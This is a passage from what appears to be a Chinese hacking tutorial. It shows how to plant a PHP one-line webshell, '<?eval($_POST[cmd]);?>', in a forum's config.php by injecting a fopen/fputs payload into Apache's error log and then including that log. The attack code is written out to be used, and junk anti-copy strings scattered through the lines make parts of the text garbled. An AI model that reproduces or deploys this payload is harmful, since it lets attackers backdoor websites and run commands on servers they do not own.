因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马 2 t) P3 o7 J8 k6 Z8 _% B
<?eval($_POST[cmd]);?> 6 e7 B4 Z& d, m) m0 v. F
& H/ ?, s# d7 o/ m到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， + F1 o7 m: u* e" g, G; U8 S
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 , \, \( q; O! c( `0 ~% X: \; j- s
# s$ K1 F9 Z- Z0 [6 {3 y- [<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
- K4 U, O/ C5 F2 K9 m, `fclose($fp);?> //在config.php里写入一句木马语句 5 I3 [5 v, B0 I$ Q; D" S& M* }
8 ^7 F4 i' x5 B P我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
